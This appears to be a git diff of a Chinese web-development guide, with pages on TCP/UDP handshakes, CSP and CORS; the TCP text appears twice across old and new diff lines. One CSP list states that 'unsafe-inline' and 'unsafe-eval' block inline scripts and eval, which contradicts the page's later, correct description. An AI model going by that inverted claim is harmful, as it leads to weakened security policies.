                            数据包结构

                            参考:数据包结构

                            TCP 首部标志比特有 6 个:URG、ACK、PSH、RST、SYN、FIN

                            控制位名称说明
                            URGUrgent Flag紧急指针
                            ACKAcknowledge Flag确认序号有效
                            PSHPush Flag尽可能快地将数据送往接收进程
                            RSTReset Flag可能需要重现创建建 TCP 连接
                            SYNSynchronize同步序号来发起一个连接
                            FINFinish发送方完成发送任务,要求释放连接
                            SeqSequance number序列号

                            三次握手

                            TCP 提供 面向连接 的通信传输。面向有连接是指在数据通信开始之前先做好两端之间的准备工作,也就是说无论哪一方向另一方发送数据之前,都必须先在双方之间建立一条连接。

                            三次握手是指建立一个 TCP 连接时需要客户端和服务器端总共发送三个包以确认连接的建立。

                            握手的目标

                            三次握手的目的:

                            • 同步连接双方的 Sequence 序列号和确认号
                              • 初始序列号 ISN(Initial Sequence Number)
                            • 交换 TCP 窗口大小信息
                              • 如 MSS、窗口比例因子、选择性确认、指定校验和算法

                            在 Socket 编程中,这一过程由客户端执行 connect 来触发。

                            三次握手流程图

                            三次握手流程图
                            1. 第一次握手建立连接。客户端发送连接请求报文段,将标志比特位 SYN 置为 1,随机产生一个序列号码 Sequence Number 值为 X(由操作系统动态随机选取一个 32 位长的序列号),并将该数据包发送给服务端,客户端进入 SYN_SENT 状态,等待服务端确认。
                            2. 第二次握手服务端收到 SYN 报文段。服务端收到数据包后需要对标志位 SYN 报文段进行确认,确认后设置确认号码 Acknowledgment Number 为 X+1(Sequence Number+1);同时,自己还要发送 SYN 请求信息(以建立服务端对客户端的连接),将 SYN 设置为 1,设置 Sequence Number 值为 Y(由操作系统动态随机选取一个 32 位长的序列号),服务端将上述所有信息放到一个报文段(即 SYN+ACK 报文段)中,一并发送给客户端以确认建立连接请求,服务端进入 SYN_RCVD 状态。
                            3. 第三次握手客户端收到服务端的 SYN+ACK 报文段。确认后,然后将 Acknowledgment Number 设置为 Y+1,向服务端发送 ACK 报文段,这个报文段发送完毕后,客户端和服务器端进入 ESTABLISHED 状态,完成三次握手,随后客户端与服务器端之间可以开始传输数据了。

                            握手过程中传送的包里不包含数据,只有三次握手完毕后,客户端与服务器才正式开始传送数据。理想状态下,TCP 连接一旦建立,在通信双方中的任何一方主动关闭连接之前,TCP 连接都将被一直保持下去。

                            握手报文

                            SYN 报文

                            三次握手-1

                            SYN/ACK 报文

                            三次握手-2

                            ACK 报文

                            三次握手-3

                            其他问题

                            未连接队列

                            在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的 SYN 包(syn=j)开设一个条目,该条目表明服务器已收到 SYN 包,并向客户端发出确认,正在等待客户端的确认包。这些条目所标识的连接在服务器处于 SYN_RECV 状态,当服务器收到客户端的确认包时,删除该条目,服务器进入 ESTABLISHED 状态。

                            为什么建立 TCP 连接需要三次握手?

                            主要是为了防止服务端开启无用的连接。

                            因为我们知道网络传输是有延时的,因为终端间隔了非常远的距离,数据包通过光纤以及各种中间代理服务器进行传输,但是在服务端和客户端的传输过程中,往往由于网络传输的不稳定原因丢失了数据包,客户端一直没有收到服务端返回的数据包,客户端可能设置了超时时间关闭了连接创建,那么就会再发起新的请求。如果没有第三次握手,服务端是不知道客户端到底有没有接收到服务端返回给他的数据的,客户端也没有一个确认说要关闭还是要创建这个请求,服务端的端口就一直开着,等着客户端发送实际的请求数据,那么这个时候开销就浪费了,服务端不知道这个连接已经创建失败了,可能客户端已经创建别的连接去了。

                            所以我们需要三次握手来确认这个过程,让服务端和客户端能及时察觉到网络原因导致的网络连接的关闭的问题,从而规避网络传输中因为延时导致导致的服务器开销问题。

                            三次握手中的第一次握手可以携带数据吗?

                            不可以,因为三次握手还没完成。

                            第三次握手可以发送数据吗?为何?

                            可以。因为能够发出第三次握手报文的主机,肯定接收到第二次(来自服务端)的握手报文。因为伪造 IP 的主机不会收到第二次报文。

                            对方难道不可以将数据缓存下来,等握手成功后再提交给应用程序?

                            这样会放大 SYN FLOOD 攻击。如果攻击者伪造了成千上万的握手报文,携带了 1K+ 字节的数据,而接收方会开辟大量的缓存来容纳这些巨大数据,内存会很容易耗尽,从而拒绝服务。

                            四次挥手

                            四次挥手即终止 TCP 连接,就是指断开一个 TCP 连接时,需要客户端和服务端总共发送 4 个包以确认连接的断开。在 Socket 编程中,这一过程由客户端或服务端任一方执行 close 来触发。

                            由于 TCP 连接是全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个 FIN 来终止这一方向的连接,收到一个 FIN 只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个 TCP 连接上仍然能够发送数据,直到这一方向也发送了 FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭。

                            四次挥手流程图

                            四次挥手流程图
                            1. 第一次挥手:客户端设置 Sequence Number,发送一个 FIN 报文段,用于关闭客户端到服务器端的数据传送,客户端进入 FIN_WAIT_1 状态。意思是说「我客户端没有数据要发给你了」,但是如果你服务器端还有数据没有发送完成,则不必急着关闭连接,可以继续发送数据。
                            2. 第二次挥手:服务器端收到 FIN 报文段,回复 ACK 报文段,Acknowledgment Number 为 Sequence Number 加 1,告诉客户端,你的请求我收到了,我同意你的关闭请求。这个时候客户端就进入 FIN_WAIT_2 状态。
                            3. 第三次挥手:当服务器端确定数据已发送完成,则向客户端发送 FIN 报文段,告诉客户端,好了,我这边数据发完了,准备好关闭连接了。服务器端进入 LAST_ACK 状态。
                            4. 第四次挥手:客户端收到 FIN 报文段后,就知道可以关闭连接了,但是他还是不相信网络,怕服务器端不知道要关闭,所以发送 ACK 报文段回复服务端,然后进入 TIME_WAIT 状态,如果服务端端没有收到 ACK 则可以重传。服务器端收到 ACK 后,就知道可以断开连接了。客户端等待了 2MSL(通常是两分钟)后依然没有收到回复,则证明服务器端已正常关闭,那好,我客户端也可以关闭连接了。最终完成了四次握手。

                            MSL(Maximum Segment Lifetime)报文最大生存时间。维持 2MSL 时长的 TIME-WAIT 状态,保证至少一次报文的往返时间内端口是不可复用。

                            • 第一次挥手是服务端确认客户端需要断开连接
                            • 第二次挥手是客户端确认服务器接收断开请求
                            • 第三次挥手是客户端确认服务器数据发完,断开连接
                            • 第四次挥手是服务端确认客户端断开连接,断开连接

                            所以如果服务端的数据全部发送完,是没有第三次挥手,直接进入第四次挥手。

                            为什么断开 TCP 连接需要四次挥手?

                            由于 TCP 连接采取全双工的通信方式,因此每个方向都必须单独进行关闭,这个原则是当一方完成它的数据发送任务后就能发送一个 FIN 来终止这个方向的连接。收到一个 FIN 只意味着这一方向上没有数据流动,一个 TCP 连接在收到一个 FIN 后仍能发送数据。首先进行关闭的一方将执行主动关闭,而另一方执行被动关闭。

                            为什么基于 TCP 的程序往往都有个应用层的心跳检测机制?

                            TCP 建立链接后,只是在两端的内核里面维持 TCP 信息,实际上并没有一个物理的连接通路,对端这个时候挂了,谁也不知道。

                            重传机制

                            拥塞控制机制

                            流量控制机制

                            可靠传输机制

                            UDP

                            用户数据报协议(User Datagram Protocol,UDP),又称使用者资料包协定,是一个简单的面向数据包的传输层协议,正式规范为 RFC 768。

                            在 TCP/IP 模型中,UDP 为网络层以上和应用层以下提供了一个简单的接口。UDP 只提供数据的不可靠传递,它一旦把应用程序发给网络层的数据发送出去,就不保留数据备份(所以 UDP 有时候也被认为是不可靠的数据报协议)。UDP 在 IP 数据报的头部仅仅加入了复用和数据校验(字段)。

                            特点

                            • 无需建立连接(减少延迟)
                            • 尽最大努力交付,即不保证可靠交付,因此主机不需要维持复杂的链接状态
                            • UDP 的首部开销小,只有 8 个字节,比 TCP 的 20 个字节的首部要短
                            • 没有拥塞控制,因此网络出现拥塞不会使源主机的发送速率降低(对实时应用很有用,如直播,实时视频会议等)
                            • 支持一对一、一对多、多对一和多对多的交互通信

                            实践

                            基于 UDP 协议的有:

                            • 域名系统(DNS)
                            • 简单网络管理协议(SNMP)
                            • 动态主机配置协议(DHCP)
                            • 路由信息协议(RIP)
                            • 自举协议(BOOTP)
                            • 简单文件传输协议(TFTP)

                            数据通信形式

                            • 单工数据传输只支持数据在一个方向上传输
                            • 半双工数据传输允许数据在两个方向上传输,但是,在某一时刻,只允许数据在一个方向上传输,它实际上是一种切换方向的单工通信
                            • 全双工数据通信允许数据同时在两个方向上传输,因此,全双工通信是两个单工通信方式的结合,它要求发送设备和接收设备都有独立的接收和发送能力

                            TCP 与 UDP

                            TCPUDP
                            连接性面向连接无连接
                            双工性全双工(1:1)n:m
                            可靠性可靠(重传机制)不可靠(丢包后数据丢失)
                            有序性有序(通过 SYN 排序)无序
                            有界性无,有沾包情况有消息边界,无沾包
                            拥塞控制
                            传输速度
                            量级20-60 字节
                            头部大小8 字节

                            参考资料

                            +

                            传输层协议

                            传输层(Transport Layer)的主要任务就是负责向两台主机进程之间的通信提供通用的 数据传输服务。应用进程利用该服务传送应用层报文。

                            网络协议族中有两个具有代表性的传输层协议,分别是 TCP 和 UDP。

                            • 传输控制协议 TCP:提供面向连接的,可靠的数据传输服务
                            • 用户数据协议 UDP:提供无连接的,尽最大努力的数据传输服务(不保证数据传输的可靠性)

                            TCP

                            传输控制协议(Transmission Control Protocol,简称 TCP)是一种 面向连接(连接导向)的、可靠的、 基于 IP 协议的传输层协议。

                            • 面向连接:每条 TCP 连接只能有两个端点(亦即点对点,不可广播、多播),每一条 TCP 连接只能是一对一
                            • 可靠的传输服务:通过 TCP 连接传送的数据,无差错、不丢失、不重复、并且按序到达,丢包时通过重传机制进而增加时延实现可靠性
                            • 全双工通信:TCP 允许通信双方的应用进程在任何时候都能发送数据。TCP 连接的两端都设有发送缓存和接收缓存,用来临时存放双方通信的数据
                            • 字节流:面向字节流,TCP 中的 (Stream)指的是流入进程或从进程流出的字节序列
                            • 流量缓冲:解决速度不匹配问题
                            TCP 状态机

                            数据包结构

                            参考:数据包结构

                            TCP 首部标志比特有 6 个:URG、ACK、PSH、RST、SYN、FIN

                            控制位名称说明
                            URGUrgent Flag紧急指针
                            ACKAcknowledge Flag确认序号有效
                            PSHPush Flag尽可能快地将数据送往接收进程
                            RSTReset Flag可能需要重现创建建 TCP 连接
                            SYNSynchronize同步序号来发起一个连接
                            FINFinish发送方完成发送任务,要求释放连接
                            SeqSequance number序列号

                            三次握手

                            TCP 提供 面向连接 的通信传输。面向有连接是指在数据通信开始之前先做好两端之间的准备工作,也就是说无论哪一方向另一方发送数据之前,都必须先在双方之间建立一条连接。

                            三次握手是指建立一个 TCP 连接时需要客户端和服务器端总共发送三个包以确认连接的建立。

                            握手的目标

                            三次握手的目的:

                            • 同步连接双方的 Sequence 序列号和确认号
                              • 初始序列号 ISN(Initial Sequence Number)
                            • 交换 TCP 窗口大小信息
                              • 如 MSS、窗口比例因子、选择性确认、指定校验和算法

                            在 Socket 编程中,这一过程由客户端执行 connect 来触发。

                            三次握手流程图

                            三次握手流程图
                            1. 第一次握手建立连接。客户端发送连接请求报文段,将标志比特位 SYN 置为 1,随机产生一个序列号码 Sequence Number 值为 X(由操作系统动态随机选取一个 32 位长的序列号),并将该数据包发送给服务端,客户端进入 SYN_SENT 状态,等待服务端确认。
                            2. 第二次握手服务端收到 SYN 报文段。服务端收到数据包后需要对标志位 SYN 报文段进行确认,确认后设置确认号码 Acknowledgment Number 为 X+1(Sequence Number+1);同时,自己还要发送 SYN 请求信息(以建立服务端对客户端的连接),将 SYN 设置为 1,设置 Sequence Number 值为 Y(由操作系统动态随机选取一个 32 位长的序列号),服务端将上述所有信息放到一个报文段(即 SYN+ACK 报文段)中,一并发送给客户端以确认建立连接请求,服务端进入 SYN_RCVD 状态。
                            3. 第三次握手客户端收到服务端的 SYN+ACK 报文段。确认后,然后将 Acknowledgment Number 设置为 Y+1,向服务端发送 ACK 报文段,这个报文段发送完毕后,客户端和服务器端进入 ESTABLISHED 状态,完成三次握手,随后客户端与服务器端之间可以开始传输数据了。

                            握手过程中传送的包里不包含数据,只有三次握手完毕后,客户端与服务器才正式开始传送数据。理想状态下,TCP 连接一旦建立,在通信双方中的任何一方主动关闭连接之前,TCP 连接都将被一直保持下去。

                            握手报文

                            SYN 报文

                            三次握手-1

                            SYN/ACK 报文

                            三次握手-2

                            ACK 报文

                            三次握手-3

                            其他问题

                            未连接队列

                            在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的 SYN 包(syn=j)开设一个条目,该条目表明服务器已收到 SYN 包,并向客户端发出确认,正在等待客户端的确认包。这些条目所标识的连接在服务器处于 SYN_RECV 状态,当服务器收到客户端的确认包时,删除该条目,服务器进入 ESTABLISHED 状态。

                            为什么建立 TCP 连接需要三次握手?

                            主要是为了防止服务端开启无用的连接。

                            因为我们知道网络传输是有延时的,因为终端间隔了非常远的距离,数据包通过光纤以及各种中间代理服务器进行传输,但是在服务端和客户端的传输过程中,往往由于网络传输的不稳定原因丢失了数据包,客户端一直没有收到服务端返回的数据包,客户端可能设置了超时时间关闭了连接创建,那么就会再发起新的请求。如果没有第三次握手,服务端是不知道客户端到底有没有接收到服务端返回给他的数据的,客户端也没有一个确认说要关闭还是要创建这个请求,服务端的端口就一直开着,等着客户端发送实际的请求数据,那么这个时候开销就浪费了,服务端不知道这个连接已经创建失败了,可能客户端已经创建别的连接去了。

                            所以我们需要三次握手来确认这个过程,让服务端和客户端能及时察觉到网络原因导致的网络连接的关闭的问题,从而规避网络传输中因为延时导致导致的服务器开销问题。

                            三次握手中的第一次握手可以携带数据吗?

                            不可以,因为三次握手还没完成。

                            第三次握手可以发送数据吗?为何?

                            可以。因为能够发出第三次握手报文的主机,肯定接收到第二次(来自服务端)的握手报文。因为伪造 IP 的主机不会收到第二次报文。

                            对方难道不可以将数据缓存下来,等握手成功后再提交给应用程序?

                            这样会放大 SYN FLOOD 攻击。如果攻击者伪造了成千上万的握手报文,携带了 1K+ 字节的数据,而接收方会开辟大量的缓存来容纳这些巨大数据,内存会很容易耗尽,从而拒绝服务。

                            四次挥手

                            四次挥手即终止 TCP 连接,就是指断开一个 TCP 连接时,需要客户端和服务端总共发送 4 个包以确认连接的断开。在 Socket 编程中,这一过程由客户端或服务端任一方执行 close 来触发。

                            由于 TCP 连接是全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个 FIN 来终止这一方向的连接,收到一个 FIN 只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个 TCP 连接上仍然能够发送数据,直到这一方向也发送了 FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭。

                            四次挥手流程图

                            四次挥手流程图
                            1. 第一次挥手:客户端设置 Sequence Number,发送一个 FIN 报文段,用于关闭客户端到服务器端的数据传送,客户端进入 FIN_WAIT_1 状态。意思是说「我客户端没有数据要发给你了」,但是如果你服务器端还有数据没有发送完成,则不必急着关闭连接,可以继续发送数据。
                            2. 第二次挥手:服务器端收到 FIN 报文段,回复 ACK 报文段,Acknowledgment Number 为 Sequence Number 加 1,告诉客户端,你的请求我收到了,我同意你的关闭请求。这个时候客户端就进入 FIN_WAIT_2 状态。
                            3. 第三次挥手:当服务器端确定数据已发送完成,则向客户端发送 FIN 报文段,告诉客户端,好了,我这边数据发完了,准备好关闭连接了。服务器端进入 LAST_ACK 状态。
                            4. 第四次挥手:客户端收到 FIN 报文段后,就知道可以关闭连接了,但是他还是不相信网络,怕服务器端不知道要关闭,所以发送 ACK 报文段回复服务端,然后进入 TIME_WAIT 状态,如果服务端端没有收到 ACK 则可以重传。服务器端收到 ACK 后,就知道可以断开连接了。客户端等待了 2MSL(通常是两分钟)后依然没有收到回复,则证明服务器端已正常关闭,那好,我客户端也可以关闭连接了。最终完成了四次握手。

                            MSL(Maximum Segment Lifetime)报文最大生存时间。维持 2MSL 时长的 TIME-WAIT 状态,保证至少一次报文的往返时间内端口是不可复用。

                            • 第一次挥手是服务端确认客户端需要断开连接
                            • 第二次挥手是客户端确认服务器接收断开请求
                            • 第三次挥手是客户端确认服务器数据发完,断开连接
                            • 第四次挥手是服务端确认客户端断开连接,断开连接

                            所以如果服务端的数据全部发送完,是没有第三次挥手,直接进入第四次挥手。

                            为什么断开 TCP 连接需要四次挥手?

                            由于 TCP 连接采取全双工的通信方式,因此每个方向都必须单独进行关闭,这个原则是当一方完成它的数据发送任务后就能发送一个 FIN 来终止这个方向的连接。收到一个 FIN 只意味着这一方向上没有数据流动,一个 TCP 连接在收到一个 FIN 后仍能发送数据。首先进行关闭的一方将执行主动关闭,而另一方执行被动关闭。

                            为什么基于 TCP 的程序往往都有个应用层的心跳检测机制?

                            TCP 建立链接后,只是在两端的内核里面维持 TCP 信息,实际上并没有一个物理的连接通路,对端这个时候挂了,谁也不知道。

                            重传机制

                            拥塞控制机制

                            流量控制机制

                            可靠传输机制

                            UDP

                            用户数据报协议(User Datagram Protocol,UDP),又称使用者资料包协定,是一个简单的面向数据包的传输层协议,正式规范为 RFC 768。

                            在 TCP/IP 模型中,UDP 为网络层以上和应用层以下提供了一个简单的接口。UDP 只提供数据的不可靠传递,它一旦把应用程序发给网络层的数据发送出去,就不保留数据备份(所以 UDP 有时候也被认为是不可靠的数据报协议)。UDP 在 IP 数据报的头部仅仅加入了复用和数据校验(字段)。

                            特点

                            • 无需建立连接(减少延迟)
                            • 尽最大努力交付,即不保证可靠交付,因此主机不需要维持复杂的链接状态
                            • UDP 的首部开销小,只有 8 个字节,比 TCP 的 20 个字节的首部要短
                            • 没有拥塞控制,因此网络出现拥塞不会使源主机的发送速率降低(对实时应用很有用,如直播,实时视频会议等)
                            • 支持一对一、一对多、多对一和多对多的交互通信

                            实践

                            基于 UDP 协议的有:

                            • 域名系统(DNS)
                            • 简单网络管理协议(SNMP)
                            • 动态主机配置协议(DHCP)
                            • 路由信息协议(RIP)
                            • 自举协议(BOOTP)
                            • 简单文件传输协议(TFTP)

                            数据通信形式

                            • 单工数据传输只支持数据在一个方向上传输
                            • 半双工数据传输允许数据在两个方向上传输,但是,在某一时刻,只允许数据在一个方向上传输,它实际上是一种切换方向的单工通信
                            • 全双工数据通信允许数据同时在两个方向上传输,因此,全双工通信是两个单工通信方式的结合,它要求发送设备和接收设备都有独立的接收和发送能力

                            TCP 与 UDP

                            TCPUDP
                            连接性面向连接无连接
                            双工性全双工(1:1)n:m
                            可靠性可靠(重传机制)不可靠(丢包后数据丢失)
                            有序性有序(通过 SYN 排序)无序
                            有界性无,有沾包情况有消息边界,无沾包
                            拥塞控制
                            传输速度
                            量级20-60 字节
                            头部大小8 字节

                            参考资料

                            - + diff --git a/computer-networks/http/content-security-policy/index.html b/computer-networks/http/content-security-policy/index.html index 4daea6c56..9abbe2075 100644 --- a/computer-networks/http/content-security-policy/index.html +++ b/computer-networks/http/content-security-policy/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                            HTTP CSP 内容安全策略

                            内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。

                            CSP 是一种由开发者定义的安全性政策性申明,通过 CSP 所约束的规则指定可信的内容来源(这里的内容可以指脚本、图片、iframefontstyle 等等可能的远程的资源)。通过 CSP 协定,让 Web 处于一个安全的运行环境中。

                            为使 CSP 可用,需要配置网络服务器返回 Content-Security-Policy HTTP 头部。

                            除此之外,<meta> 元素也可以用于配置该策略:

                            <meta http-equiv="Content-Security-Policy" />

                            指令选项

                            资源加载指令

                            通过获取指令来控制某些可能被加载的确切的资源类型的位置:

                            CSP 策略在默认的情况下是不允许使用 data URIs 资源的,如果要使用,那么需要显示的指定:

                            • script-src:在处理脚本资源的时候设置 unsafe-inline 可以阻止内联 Js 代码的执行,使用 unsafe-eval 开关可以禁止 evalsetTimeoutsetInterval 函数的执行
                            • style-src:会控制样式表@import 和 rel 时所引入的 URI 资源,设置 unsafe-inline 规则可以是浏览器拒绝解析内部样式和内联样式定义。并不会阻止链入外部样式表。
                            • img-src:可以控制图片资源的连接,包括 img 标签的 src 属性,以及 CSS3 中的 url()image() 方法,以及 link 标签中的 href 属性(当 rel 设置成与图像相关的值,比如 HTML 支持的 icon)
                            • font-src:控制 CSS 中的 @font-face 加载的字体源地址
                            • frame-src:设置允许通过类似 <frame><iframe> 标签加载的内嵌内容的源地址
                            • manifest-src:限制应用声明文件的源地址
                            • media-src:控制媒体类型的外部链入资源,如 <audio><video><source><track> 标签的 src 属性
                            • object-src:控制 <embed><code><archive><applet> 等对象
                            • prefetch-src:指定预加载或预渲染的允许源地址
                            • connect-src:控制 XMLHttpRequest 中的 open()、WebSocket、EventSource

                            另外 inline scripteval 类型函数(包括 evalsetIntervalsetTimeoutnew Function())也是不被执行的。

                            default-src

                            default-src 用于设置上面各个选项的默认值。

                            Content-Security-Policy: default-src 'self'

                            上面代码限制所有外部资源,只能从当前渔民该加载。

                            如果同时设置某个单项限制(比如 font-src)和 default-src,前者会覆盖后者,即字体文件会采用 font-src 的值,其他资源依然采用 default-src 的值。

                            其他限制

                            其他一些安全相关的功能,也放在了 CSP 里面:

                            • block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
                            • upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
                            • plugin-types:限制可以使用的插件格式
                            • sandbox:浏览器行为的限制,比如不能有弹出窗口等。

                            report-uri

                            有时,我们不仅希望防止 XSS,还希望记录此类行为。report-uri 就用来告诉浏览器,应该把注入行为报告给哪个网址。

                            Content-Security-Policy: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;

                            上面代码指定,将注入行为报告给 /my_amazing_csp_report_parser 这个 URL。

                            浏览器会使用 POST 方法,发送一个 JSON 对象,下面是一个例子。

                            {
                            "csp-report": {
                            "document-uri": "http://example.org/page.html",
                            "referrer": "http://evil.example.com/",
                            "blocked-uri": "http://evil.example.com/evil.js",
                            "violated-directive": "script-src 'self' https://apis.google.com",
                            "original-policy": "script-src 'self' https://apis.google.com; report-uri http://example.org/my_amazing_csp_report_parser"
                            }
                            }

                            选项值

                            每个限制选项可以设置以下几种值,这些值就构成了白名单。

                            • 主机名example.orghttps://example.com:443
                            • 路径名example.org/resources/js/
                            • 通配符*.example.org*://*.example.com:*(表示任意协议、任意子域名、任意端口)
                            • 协议名https:data:
                            • 关键字 'self':当前域名,需要加引号
                            • 关键字 'none':禁止加载任何外部资源,需要加引号

                            多个值也可以并列,用空格分隔。

                            Content-Security-Policy: script-src 'self' https://apis.google.com

                            如果同一个限制选项使用多次,只有第一次会生效。

                            # 错误的写法
                            Content-Security-Policy: script-src https://host1.com; script-src https://host2.com
                            -
                            # 正确的写法
                            Content-Security-Policy: script-src https://host1.com https://host2.com

                            script-src 的特殊值

                            除了常规值,script-src 还可以设置一些特殊值。注意,下面这些值都必须放在单引号里面。

                            • unsafe-inline:允许执行页面内嵌的 <script> 标签和事件监听函数
                            • unsafe-eval:允许将字符串当作代码执行,比如使用 evalsetTimeoutsetIntervalFunction 等函数。
                            • nonce 值:每次 HTTP 回应给出一个授权 token,页面内嵌脚本必须有这个 token,才会执行
                            • hash 值:列出允许执行的脚本代码的 Hash 值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。

                            nonce 值的例子如下,服务器发送网页的时候,告诉浏览器一个随机生成的 token

                            Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'

                            页面内嵌脚本,必须有这个 token 才能执行。

                            <script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
                            // some code
                            </script>

                            hash 值的例子如下,服务器给出一个允许执行的代码的 hash 值。

                            Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

                            下面的代码就会允许执行,因为 hash 值相符。

                            <script type="text/javascript">
                            alert('Hello, world.');
                            </script>

                            注意,计算 hash 值的时候,<script> 标签不算在内。

                            除了 script-src 选项,nonce 值和 hash 值还可以用在 style-src 选项,控制页面内嵌的样式表。

                            参考资料

                            +
                            # 正确的写法
                            Content-Security-Policy: script-src https://host1.com https://host2.com

                            script-src 的特殊值

                            除了常规值,script-src 还可以设置一些特殊值。注意,下面这些值都必须放在单引号里面。

                            nonce 值的例子如下,服务器发送网页的时候,告诉浏览器一个随机生成的 token

                            Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'

                            页面内嵌脚本,必须有这个 token 才能执行。

                            <script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
                            // some code
                            </script>

                            hash 值的例子如下,服务器给出一个允许执行的代码的 hash 值。

                            Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

                            下面的代码就会允许执行,因为 hash 值相符。

                            <script type="text/javascript">
                            alert('Hello, world.');
                            </script>

                            注意,计算 hash 值的时候,<script> 标签不算在内。

                            除了 script-src 选项,nonce 值和 hash 值还可以用在 style-src 选项,控制页面内嵌的样式表。

                            参考资料

                            - + diff --git a/computer-networks/http/cross-origin-resource-sharing/index.html b/computer-networks/http/cross-origin-resource-sharing/index.html index 7aa95e6bc..206b22562 100644 --- a/computer-networks/http/cross-origin-resource-sharing/index.html +++ b/computer-networks/http/cross-origin-resource-sharing/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTTP CORS 跨域资源共享 - JavaScript Guidebook -

                            HTTP CORS 跨域资源共享

                            跨域资源共享(CORS:Cross-Origin Resource Sharing)是一种机制,它使用额外的  HTTP 头来告诉浏览器,让运行在相同域(Origin)上的 Web 应用被准许访问来自不同源服务器上的指定的资源(也即是 同源策略 的 HTTP 解决方案)。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求

                            CORS 机制是为了在认可用户发起的请求的同时,阻止恶意注入脚本;并在以下情况发起的 HTTP 请求时触发:

                            • 不同的协议:比如从 https://example.com 调用 http://example.com
                            • 不同的域:比如从 example.com 调用 api.com
                            • 不同的子域:比如从 example.com 调用 api.example.com
                            • 不同的端口:比如从 example.com 调用 example.com:3001

                            实现条件

                            浏览器将 CORS 请求分成两类:

                            • 简单请求(simple request)
                            • 非简单请求(not-so-simple request)

                            简单请求

                            只要满足以下条件,就属于简单请求:

                            1. 请求方法是以下三种方法之一
                              • HEAD
                              • GET
                              • POST
                            2. 自定义设置集合外的头部字段
                              • Accept 告知服务端当前客户端可处理的内容类型
                              • Accept-Language 允许客户端声明它可以理解的自然语言,以及优先选择的区域方言
                              • Content-Language 说明访问者希望采用的的语言
                              • Content-Type(例如 application/json 为非简单请求)指示资源的 MIME 类型
                                • text/plain
                                • multipart/form-data
                                • application/x-www-form-urlencoded
                              • DPR
                              • Downlink
                              • Save-Data
                              • Viewport-Width
                              • Width
                              • Last-Event-ID
                            3. 请求中的任意 XMLHttpRequestUpload 对象均没有注册任何事件监听器;XMLHttpRequestUpload 对象可以使用 XMLHttpRequest.upload 属性访问。
                            4. 请求中没有 ReadableStream 对象。

                            非简单请求

                            除了简单请求这些限制外的都为非简单请求。

                            非简单请求需要满足使用以下任意方法的条件:

                            • PUT
                            • DELETE
                            • CONNECT
                            • OPTIONS
                            • TRACE
                            • PATCH

                            最常用于判断是否为简单和非简单请求的方法主要是通过 请求方法Content-Type 头部字段的值。

                            预请求 Preflight

                            预请求是 OPTIONS 请求,浏览器会自动添加 Access-Control-Allow-HeadersAccess-Control-Allow-Methods 头部字段。

                            需要服务端返回的响应头 Access-Control-Allow-HeadersAccess-Control-Allow-MethodsAccess-Control-Allow-Origin

                            除了 Access-Control-Allow-Origin 是必须的之外,其他两种只有在不符合简单请求需要的时候服务器才需要添加,比如在简单请求的基础上自定义了一个请求头 X-xx-name: chris,那么服务器只需要在响应头中添加 Access-Control-Allow-Headers

                            每种响应头都可以使用 * 通配符来表示所有。

                            减少预请求次数

                            可以通过设置 Access-Control-Max-Age 来减少预请求的次数,需要包含在预请求的响应头中,指定在该时间内预请求验证有效,不必每次都进行预请求,它的单位是 s。如 Access-Control-Max-Age: 1728000,即有效期为 20 天。

                            正常请求

                            预请求完之后就可以发送正常请求了,正常请求的步骤与简单请求一致,也需要添加 Access-Control-Allow-Origin 响应头。

                            应用场景

                            跨域资源共享标准(Cross-Origin Sharing Standard)允许在下列场景中使用跨域 HTTP 请求:

                            • 前文提到的由 XMLHttpRequest 或 Fetch 发起的跨域 HTTP 请求
                            • Web 字体(CSS 通过 @font-face 使用跨域字体资源)
                            • WebGL 贴图
                            • 使用 drawImageImages/viedo 画面绘制到 Canvas
                            • 样式表(使用 CSSOM )

                            ⚠️ 注意:HTML 中 <link><script><img> 等标签自带连接属性进行 HTTP 请求是能够无视同源策略的。

                            iOS WKWebview 需要 CORS

                            如果您正在开发使用 Webview(使用 Cordova 或 Ionic)的移动应用程序,Android 将不会给您带来任何麻烦,但 iOS 上的新 WKWebview 将需要 CORS。这意味着您几乎必须始终将 Access-Control-Allow-Origin 标头设置为 * ,但实际上这并不理想。

                            参考资料

                            +

                            HTTP CORS 跨域资源共享

                            跨域资源共享(CORS:Cross-Origin Resource Sharing)是一种机制,它使用额外的  HTTP 头来告诉浏览器,让运行在相同域(Origin)上的 Web 应用被准许访问来自不同源服务器上的指定的资源(也即是 同源策略 的 HTTP 解决方案)。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求

                            CORS 机制是为了在认可用户发起的请求的同时,阻止恶意注入脚本;并在以下情况发起的 HTTP 请求时触发:

                            • 不同的协议:比如从 https://example.com 调用 http://example.com
                            • 不同的域:比如从 example.com 调用 api.com
                            • 不同的子域:比如从 example.com 调用 api.example.com
